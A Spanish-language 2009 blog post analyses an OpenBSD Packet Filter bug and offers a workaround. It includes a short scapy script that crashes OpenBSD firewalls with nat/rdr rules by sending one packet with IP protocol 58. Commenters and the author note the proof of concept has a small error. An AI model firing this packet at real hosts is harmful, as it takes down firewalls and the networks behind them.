lunes, 13 de abril de 2009

Bug and Exploit for Packet Filter


Hace algunos días se publico un parche para las últimas versiones de OpenBSD, relacionado con Packet Filter. El problema si bien es muy simple es algo que nos pone a reflexionar sobre el mundo de la seguridad. Realmente queria hacer un post acerca de la seguridad en todos los aspectos, pero ya me dió pereza y me dió rabia que al tratar de encontrar información sobre los bugs de OpenBSD nadie explicara como funciona, aunque mi intención solo fuera aprender.

Y así pasa muchas veces, se anuncian los parches de seguridad, se arreglan (fix) los CVS, pero nadie dice nada, quizas por no alarmar, pero y los que queremos aprender un poco mas?, donde queda la comunidad de la seguridad?, la que no es la industria de la seguridad informática, ($$$$) sino los que quieren hacer investigación y entender bugs y exploits?

Ahggr!!!

Bueno, el bug de pf consiste en un paquete que no es capaz de manipular cuando pasa por medio de reglas NAT o RDR, en el reporte de seguridad dicen que se trata del manejo de un paquete IP relacionado con ICMPV6, lo que hice entonces fue lo siguiente:

1. Tratar de encontrar mas información en la lista misc@ de OpenBSD sin mucho éxito.

2. Leer el post oficial de la persona que encontro el Bug, de ahi se concluye que el bug se reproduce cuando se usa NMAP con la opción -sO.

3. Leer el manual de NMAP para entender que hace la opción -sO, concluyendo que el chequeo que realiza es un cambio del campo de protocolo en el encabezado IP, para averiguar cuales estan disponibles en el sistema que se esta escaneando.

4. Buscar la opción mas rápida para simular lo que hace el NMAP, pero al hacer pruebas, me encuentro con que NMAP randomiza los protocolos y por lo tanto no se cuando hace el panic.

5. Pongo un sniffer del otro lado (IP destino) y analizo cual es el último paquete antes de que se caiga el sistema.

6. Lo que hago a continuación es crear un pequeño script en python usando la libreria scapy e intentar un barrido cambiando el protocolo de los paquetes IP.

7. Al encontrar el protocolo "mágico", que obviamente seria el ICMPV6, arreglo el script para que solo envíe un paquete con el encabezado modificado a 58, donde 58 es el código del protocolo.

8. PLUMP!, al suelo OpenBSD :(

9. Sigo triste por este tipo de bugs tan tontos, que pasan desapercibidos, pero que confirman la ley universal: El código esta hecho por humanos, es vulnerable!.
(esta ley universal la estoy inventando)

Despues de ese analisis me quedan muchas dudas, me queda la duda de que pasa con todas las implementaciones de PF en otros Sistemas Operativos, por ejemplo FreeBSD, NetBSD, DragonFly y las distribuciones basadas en estos, por ejemplo el Firewall PFsense o el mismo ComixWall. Porque en los arboles CVS oficiales de estos proyectos no hay cambios?, porque si NetBSD tiene como último import el sistema BASE 4_4 de OpenBSD no ha parchado el PF?
Etc, etc.

Es posible que cualquier implementación de firewall basada en PF sea vulnerable, entonces hice un chequeo de los workarounds recomendados por los desarrolladores y SI funcionan (o que esperaban?) entonces mientras sale un parche para lo que sea que este usando, modifique sus reglas para que usen explicitamente el inet o el inet6, de esa forma no será vulnerable.

A continuación el código para crashear un OpenBSD con reglas nat o rdr básicas:

bash-3.2# cat exploit_pf.py
import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)
bash-3.2#
Esto lo que hace es enviar un paquete al host victima, obviamente OpenBSD debe estar en la mitad. Para mas información lea sobre scapy o impacket y lea el reporte de seguridad.

Las reglas que usé para testear desde adentro y desde afuera son:

externa="rl0"
interna="sis0"

nat log on $externa from !{$externa} to any -> ($externa)
rdr log on $externa from any to any -> 172.16.20.2
Donde 172.16.20.2 es el host destino para el envío del paquete, osea el que esta dentro de la LAN. Con las dos reglas el openBSD hace crash, sea desde la LAN --> WAN o desde la WAN --> LAN.

La forma de evitar este ataque es parchando el PF y recompilando el núcleo o con el workaround:

externa="rl0"
interna="sis0"

nat log on $externa inet proto {icmp tcp udp} from !{$externa} to any -> ($externa)
rdr log on $externa inet proto {icmp tcp udp} from any to any -> 172.16.20.2
bueno eso es todo, despues seguimos charlando ...

AAAgggrrr!!!

Update: respondio un usuario de la lista misc@, la solucion suya fue modificando el codigo de ping.c.

5 comentarios:

x1nux dijo...

Elegante ....

DragoN dijo...

¿vos lo publicaste en milw0rm?
http://www.milw0rm.com/exploits/8430

Anónimo dijo...

Your exploit aint completly correct.
If you like to may correct it write me a mail (or send me your gpg key) to rembrandt@helith.net

Kind regards,
rembrandt

Anónimo dijo...

muy buena la explicación como siempre, voy a ver si hago algo como esto en OpenBSDeros cada vez que sale algún bug.

Saludos!

sepp0@

nonroot (c) 2008/2009 dijo...

Bueno, se hace lo que se puede con la información que hay disponible.

El comentario de la persona que encontró el bug se debe a que el PoC que publiqué tiene un pequeño error, ya hable con él en privado y me explico que fué lo que quizo decir con el comentario. Todo esta bien ahora, de todos modos no voy a realizar correciones, despues de todo es solo un PoC.

;)

Entradas populares